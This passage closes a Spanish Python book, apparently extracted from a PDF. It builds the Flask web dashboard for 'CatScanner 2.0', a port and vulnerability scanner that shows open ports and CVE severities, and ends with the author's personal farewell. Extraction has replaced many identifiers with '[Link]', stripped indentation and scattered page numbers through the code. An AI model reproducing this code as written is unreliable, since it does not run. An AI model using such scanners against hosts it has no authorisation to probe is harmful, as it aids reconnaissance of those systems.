parser_response(hostaddr, port, cpe, hstate, resp)

portss = getallport()
vulners = getallVuln()

# ===========================
# Preparar datos para graficos
# ===========================

# Puertos
ports_labels = [str(p[2]) for p in portss] # columna port
ports_values = [1 for _ in portss] # 1 por puerto abierto

# fallback si no hay puertos


if not ports_labels:
ports_labels = ["No Ports"]

416
ports_values = [0]

# Vulnerabilidades (cvss3)
vuln_low = sum(1 for v in vulners if str(v[9]).lower() == "low")
vuln_med = sum(1 for v in vulners if str(v[9]).lower() == "medium")
vuln_high = sum(1 for v in vulners if str(v[9]).lower() == "high")
vuln_crit = sum(1 for v in vulners if str(v[9]).lower() == "critical")

return render_template(
'[Link]',
target=host,
r=result,
portss=portss,
vulners=vulners,
ports_labels=ports_labels,
ports_values=ports_values,
vuln_low=vuln_low,
vuln_med=vuln_med,
vuln_high=vuln_high,
vuln_crit=vuln_crit
)

Antes de seguir, me aseguro de que exista la carpeta 'templates'..... Flask la necesita para cargar las vistas…
así que si no está, la creamos al tiro, no es nada del otro mundo, pero si falta, el proyecto se cae completo.

In [194]:
import os

if not [Link]("templates"):
[Link]("templates")

print("[*] Carpeta templates lista.")

[*] Carpeta templates lista.

[Link]
Esta página es súper simple a propósito.... no tiene mil botones ni opciones escondidas, solo lo esencial:

●​ un cuadro para escribir el host o IP que quieres escanear,


●​ un botón para iniciar el escaneo,
●​ y un diseño cyberpunk que le da ese toque de consola futurista.
In [195]:
html_index = """
<!DOCTYPE html>
<html>
<head>
<title>CatScanner 2.0 - StarHacks </title>

417
<script src="[Link]

<style>

body {
background: #000;
font-family: "Courier New", monospace;
color: #0ff;
margin: 0;
padding: 0;
}

.crt {
position: fixed;
width: 100%;
height: 100%;
pointer-events: none;
background: repeating-linear-gradient(
0deg,
rgba(0,255,255,0.06),
rgba(0,255,255,0.06) 1px,
transparent 1px,
transparent 4px
);
z-index: 999;
mix-blend-mode: overlay;
}

.container {
width: 60%;
margin: 70px auto;
padding: 30px;
border: 2px solid #0ff;
background: rgba(0,10,10,0.5);
box-shadow: 0 0 20px #0ff;
backdrop-filter: blur(4px);
}
h1 {
text-align: center;
color: #39ff14;
text-shadow: 0 0 15px #39ff14;
margin-bottom: 20px;
}
label {
font-size: 18px;
}
input {
width: 80%;
padding: 12px;
background: #001;
color: #0ff;
border: 1px solid #0ff;
font-size: 18px;

418
box-shadow: 0 0 10px #0ff;
}
button {
margin-top: 20px;
padding: 12px 20px;
background: black;
border: 2px solid #39ff14;
color: #39ff14;
font-size: 18px;
cursor: pointer;
text-shadow: 0 0 8px #39ff14;
}
button:hover {
background: #39ff14;
color: black;
box-shadow: 0 0 15px #39ff14;
}
</style>
</head>

<body>
<div class="crt"></div>

<div class="container">
<h1>[+] CatScanner 2.0 - StarHacks</h1>

<form action="/scannhost" method="POST">


<label>Ingresar host:</label><br><br>
<input name="host" placeholder="[Link]" required>
<br>
<button type="submit">Iniciar Escaneo</button>
</form>
</div>

</body>
</html>

"""

with open("templates/[Link]", "w", encoding="utf-8") as f:


[Link](html_index)

print("[*] [Link] guardado.")

[*] [Link] guardado.

[Link]
El [Link] es el capítulo donde el proyecto activa.... donde uno siente que la herramienta ya no es un
experimento, sino algo que podría presentar, enseñar, o incluso usar en un curso... Nada está ahí porque sí y

419
todo muestra algo que ayuda a entender qué tan expuesto está el host… y cómo ese riesgo se reparte entre
puertos y vulnerabilidades.

In [196]:
html_scan = """
<!DOCTYPE html>
<html>
<head>
<title>CatScanner 2.0 - StarHacks</title>

<script src="[Link]

<style>

body {
background: #000;
font-family: "Courier New", monospace;
color: #0ff;
margin: 0;
padding: 0;
}

.grid {
display: grid;
grid-template-columns: 1.2fr 2fr;
gap: 25px;
padding: 40px;
}

.panel {
border: 2px solid #0ff;
padding: 20px;
background: rgba(0,20,20,0.4);
box-shadow: 0 0 15px #0ff;
}

h1, h2 {
text-shadow: 0 0 10px #39ff14;
}

pre {
white-space: pre-wrap;
font-size: 14px;
}

.chart-box {
margin-top: 20px;
background: rgba(0,10,10,0.5);
border: 1px solid #0ff;
padding: 10px;
box-shadow: 0 0 10px #0ff;
}

420
#radarCanvas {
width: 100%;
height: 250px;
background: radial-gradient(circle, #022, #000);
border: 1px solid #0ff;
box-shadow: 0 0 12px #0ff;
}

table {
width: 100%;
border-collapse: collapse;
margin-top: 20px;
}

th, td {
border: 1px solid #0ff;
padding: 6px;
}

th {
background: #002;
}

</style>
</head>

<body>

<h1 style="text-align:center;"> CatScanner 2.0 - StarHacks </h1>

<div class="grid">

<!-- PANEL IZQUIERDO -->


<div class="panel">
<h2>Radar del Sistema</h2>

<canvas id="radarCanvas"></canvas>

<div class="chart-box">
<h3>Puertos Detectados</h3>
<canvas id="portsChart"></canvas>
</div>

<div class="chart-box">
<h3>Vulnerabilidades por Severidad</h3>
<canvas id="vulnChart"></canvas>
</div>
</div>

<!-- PANEL DERECHO -->


<div class="panel">
<h2>[X] Resultados para {{ target }}</h2>

421
<h3>[<>] Info Geo-IP</h3>
<pre>{{ r }}</pre>

<h3>[-] Puertos</h3>
<table>
<tr>
<th>ID</th><th>Host</th><th>Port</th><th>State</th><th>CPE</th>
</tr>
{% for p in portss %}
<tr>
<td>{{ p[0] }}</td>
<td>{{ p[1] }}</td>
<td>{{ p[2] }}</td>
<td>{{ p[3] }}</td>
<td>{{ p[4] }}</td>
</tr>
{% endfor %}
</table>

<h3>[+] Vulnerabilidades</h3>
<table>
<tr>
<th>ID</th><th>Host</th><th>Port</th><th>CPE</th>
<th>URL</th><th>Date</th><th>Description</th>
<th>CVSS2</th><th>CVSS3</th><th>Vector</th><th>Score</th>
</tr>
{% for v in vulners %}
<tr>
<td>{{ v[0] }}</td>
<td>{{ v[1] }}</td>
<td>{{ v[2] }}</td>
<td>{{ v[4] }}</td>
<td><a style="color:#0ff" href="{{ v[5] }}"
target="_blank">Ver</a></td>
<td>{{ v[6] }}</td>
<td>{{ v[7] }}</td>
<td>{{ v[8] }}</td>
<td>{{ v[9] }}</td>
<td>{{ v[10] }}</td>
<td>{{ v[11] }}</td>
</tr>
{% endfor %}
</table>
</div>
</div>

<script>
// =====================
// RADAR (ANIMADO)
// =====================
const radar = [Link]('radarCanvas');
const ctxR = [Link]('2d');

422
let angle = 0;

function drawRadar() {
[Link](0, 0, [Link], [Link]);

let cx = [Link] / 2;
let cy = [Link] / 2;
let r = [Link](cx, cy) - 10;

[Link]="#033";
[Link]=2;

[Link]();
[Link](cx, cy, r, 0, [Link]*2); [Link]();
[Link]();
[Link](cx, cy, r*0.66, 0, [Link]*2); [Link]();
[Link]();
[Link](cx, cy, r*0.33, 0, [Link]*2); [Link]();

[Link]="#0ff";
[Link]=3;
[Link]();
[Link](cx, cy);
[Link](cx + r * [Link](angle), cy + r * [Link](angle));
[Link]();

angle += 0.03;
requestAnimationFrame(drawRadar);
}

drawRadar();

// =====================
// GRAFICO PUERTOS
// =====================
new Chart([Link]("portsChart"), {
type: "bar",
data: {
labels: {{ ports_labels|safe }},
datasets: [{
label: "Puertos Abiertos",
data: {{ ports_values|safe }},
backgroundColor: "#0ff"
}]
}
});

// =====================
// GRAFICO CVE
// =====================
new Chart([Link]("vulnChart"), {
type: "pie",
data: {

423
labels: ["Low", "Medium", "High", "Critical"],
datasets: [{
data: [{{ vuln_low }}, {{ vuln_med }}, {{ vuln_high }}, {{ vuln_crit }}],
backgroundColor: ["#0a0", "#cc0", "#f80", "#f00"]
}]
}
});

</script>

</body>
</html>

"""

with open("templates/[Link]", "w", encoding="utf-8") as f:


[Link](html_scan)

print("[*] [Link] guardado.")

[*] [Link] guardado.

CatScanner… vamos a trabajar


Este bloque es el encendido...ese momento en que uno dice… ya, vamos. Le indica a Python algo súper
simple.... este archivo es el que estoy ejecutando… entonces prende Flask… escucha en todas las
interfaces… usa el puerto 5000… y por favor no te recargues solo porque estamos en Jupyter.... eso es todo.
Sin este pedacito… CatScanner no se mueve. Con él… se levanta y empieza a trabajar.

In [ ]:
if __name__ == "__main__":
[Link](host="[Link]", port=5000, debug=False, use_reloader=False)

* Serving Flask app '__main__'


* Debug mode: off

WARNING: This is a development server. Do not use it in a production deployment. Use a


production WSGI server instead.
* Running on all addresses ([Link])
* Running on [Link]
* Running on [Link]
Press CTRL+C to quit
[Link] - - [02/Dec/2025 23:33:53] "GET / HTTP/1.1" 200 -
[Link] - - [02/Dec/2025 23:36:52] "POST /scannhost HTTP/1.1" 200 -

Finalmente, mostramos todo en una interfaz neon, con puertos abiertos, vulnerabilidades encontradas,
gráfico de riesgos y un radar animado estilo scanner galáctico. No es puro adorno… es para ver rápido lo

424
importante... el panel corre desde Flask, pero yo lo levantamos desde Jupyter, como siempre… mi pequeño
centro de mando portátil.

Index de CatScanner

Resultado del Escáner:

425
Final del Libro
Y bueno… llegamos al final de este episodio del viaje… escrito desde este Jupyter que ya parece más una
nave nodriza que un notebook. Estoy contento… muy contento, en verdad. Y al mismo tiempo siento que
quedó tanto por escribir… tanto más por compartir… y que todo esto es apenas una parte chiquitita de lo que
me gustaría entregar sobre este lenguaje maravilloso que es Python. Pero por ahora… así queda. Con sus
rincones… sus líneas… y sus historias mezcladas con café y silencios. Igual siento que nunca estuve solo
escribiendo esto. Primero fue Otto… mi gato negro, mi maestro Jedi felino que se fue hace más de un año…
y que igual aparece aquí como si se sentara al lado mío. Después llegó Tom… que conocí casi por
accidente, en una galaxia lejana… medio desierta… donde vendían pulseritas afuera. Los dos estábamos
cansados ese día… pero la compañía hizo lo suyo… y me devolvió las ganas de escribir. Me devolvió ese
ánimo simple de sentarme… y empezar a ordenar ideas con cariño.

Este libro quiero que sea libre… gratis, así de simple. Nada es realmente mío. Es solo una recopilación de
cosas que he ido juntando en años… como una especie de Diógenes digital de scripts, códigos, pruebas y
carpetas que siempre prometo ordenar… y nunca ordeno. Si alguien encuentra algo útil aquí… si le sirve
para estudiar, enseñar o aprender algo nuevo… úsalo. De verdad. Está 100% permitido. Esto es para quien
tenga ganas de aprender… para quien tenga ganas de enseñar… y para quien disfrute ese descubrimiento
de mirar el mundo a través del código.

Yo… yo solo soy un informático que ama los completos con mayo casera… y que aún se sorprende de cómo
las máquinas nos enseñan cosas todos los días. Y también soy alguien que ama estas historias… y que se
sienta a escribir mientras Tom ronca en el sillón… esperando que no me rasguñe por levantarme tarde a
servirle comida.

No fue fácil escribir… no porque cueste escribir… sino porque cuesta ser constante cuando uno siente que la
idea ya nació libre… que no te pertenece del todo. Pero aquí está. Hecho con cariño… con pausas… con lo
bueno y lo imperfecto. Y sobre las referencias a Star Wars… ojalá nadie se enoje. Nunca ha sido mi
intención aprovecharme de algo que inventó otra persona. Solo es una película que me marcó… que me
acompañó tantas veces… y que sentí natural mezclar con este mundo de Python y felinos que viven arriba
del teclado. Es mi forma de homenajear algo que quiero… como también quise homenajear a mis gatos. A
Tom, que sigue al lado mío… y a Otto, que ojalá esté en el Valhalla de los gatos… peleando en los techos…
conociendo gatitas todas las noches… y disfrutando de su nueva galaxia.

StarHacks sigue… todavía queda mucho espacio en esta nave-notebook para escribir más capítulos… más
experimentos… y más aventuras.

Con cariño… Sebastián Véliz Donoso.

426
427

También podría gustarte